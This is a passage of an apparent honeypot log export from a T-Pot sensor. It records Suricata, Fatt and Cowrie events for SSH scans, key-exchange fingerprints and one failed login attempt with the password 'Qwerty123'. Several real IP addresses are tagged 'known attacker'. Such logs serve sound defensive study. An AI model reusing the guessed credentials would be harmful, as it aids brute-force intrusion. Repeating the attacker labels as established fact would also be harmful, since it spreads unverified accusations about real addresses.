zI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57652, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:19:58.075199Z", "@timestamp": "2021-09-20T12:19:58.075Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......&.x.A7......r\\\\.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
37157	81.71.17.12	109.199.241.180	Fatt	2021-09-20 15:19:58.075199+03	2021-09-20 15:30:03.289882+03	{"_id": "qAYmA3wBvYTbRNuEEGcB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "81.71.17.12", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 57652, "dest_port": 22, "timestamp": "2021-09-20T12:19:58.075199", "@timestamp": "2021-09-20T12:19:58.075Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
37158	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 15:19:58.075857+03	2021-09-20 15:30:03.291881+03	{"_id": "qQYmA3wBvYTbRNuEEWeu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "9c9a5203eb3e", "@version": "1", "timestamp": "2021-09-20T12:19:58.075857Z", "@timestamp": "2021-09-20T12:19:58.075Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
37160	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 15:20:00.619895+03	2021-09-20 15:30:03.293881+03	{"_id": "tgYmA3wBvYTbRNuEGWd_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "9c9a5203eb3e", "@version": "1", "duration": 2.831920623779297, "timestamp": "2021-09-20T12:20:00.619895Z", "@timestamp": "2021-09-20T12:20:00.619Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
37161	163.172.88.135	109.199.241.180	Suricata	2021-09-20 15:20:00.185632+03	2021-09-20 15:30:03.29588+03	{"_id": "twYmA3wBvYTbRNuEGmeG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "163.172.88.135", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "163.172.88.135", "dest_ip": "192.168.20.116", "flow_id": 311230450403350, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54272, "dest_port": 22, "timestamp": "2021-09-20T12:20:00.185632Z", "@timestamp": "2021-09-20T12:20:00.185Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	FR
37162	91.200.124.7	109.199.241.180	Suricata	2021-09-20 15:20:02.029708+03	2021-09-20 15:30:03.29688+03	{"_id": "uwYmA3wBvYTbRNuEHmdw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.200.124.7", "dest_ip": "192.168.20.116", "flow_id": 1608128037749624, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35262, "dest_port": 22, "timestamp": "2021-09-20T12:20:02.029708Z", "@timestamp": "2021-09-20T12:20:02.029Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	UA
37163	91.200.124.7	109.199.241.180	Fatt	2021-09-20 15:20:02.029893+03	2021-09-20 15:30:03.29788+03	{"_id": "vQYmA3wBvYTbRNuEH2di", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "91.200.124.7", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 35262, "dest_port": 22, "timestamp": "2021-09-20T12:20:02.029893", "@timestamp": "2021-09-20T12:20:02.029Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	UA
37164	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 15:20:02.030135+03	2021-09-20 15:30:03.29988+03	{"_id": "xQYmA3wBvYTbRNuEIWdS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "7442ff5ea5ad", "@version": "1", "timestamp": "2021-09-20T12:20:02.030135Z", "@timestamp": "2021-09-20T12:20:02.030Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	UA
37165	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 15:20:02.270973+03	2021-09-20 15:30:03.30188+03	{"_id": "xgYmA3wBvYTbRNuEIWdS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.login.failed", "message": "login attempt [test/Qwerty123] failed", "session": "7442ff5ea5ad", "@version": "1", "password": "Qwerty123", "username": "test", "timestamp": "2021-09-20T12:20:02.270973Z", "@timestamp": "2021-09-20T12:20:02.270Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	UA
37166	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:20:02.709588+03	2021-09-20 15:30:03.30288+03	{"_id": "yQYmA3wBvYTbRNuEImdY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:20:02.709588Z", "@timestamp": "2021-09-20T12:20:02.709Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
37167	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 15:20:03.311383+03	2021-09-20 15:30:03.30388+03	{"_id": "ygYmA3wBvYTbRNuEJWc7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "7442ff5ea5ad", "@version": "1", "duration": 1.3189198970794678, "timestamp": "2021-09-20T12:20:03.311383Z", "@timestamp": "2021-09-20T12:20:03.311Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	UA
37168	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 15:19:50.817187+03	2021-09-20 15:30:03.30588+03	{"_id": "jwYlA3wBvYTbRNuE8mdq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "454cbf7fecae", "@version": "1", "timestamp": "2021-09-20T12:19:50.817187Z", "@timestamp": "2021-09-20T12:19:50.817Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
37169	1.116.239.130	109.199.241.180	Suricata	2021-09-20 15:19:50.811026+03	2021-09-20 15:30:03.30688+03	{"_id": "kwYlA3wBvYTbRNuE82dx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.116.239.130", "dest_ip": "192.168.20.116", "flow_id": 1254046638148413, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 59380, "dest_port": 22, "timestamp": "2021-09-20T12:19:50.811026Z", "@timestamp": "2021-09-20T12:19:50.811Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
37170	1.116.239.130	109.199.241.180	Fatt	2021-09-20 15:19:50.816545+03	2021-09-20 15:30:03.308883+03	{"_id": "lgYlA3wBvYTbRNuE9Gdk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "1.116.239.130", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 59380, "dest_port": 22, "timestamp": "2021-09-20T12:19:50.816545", 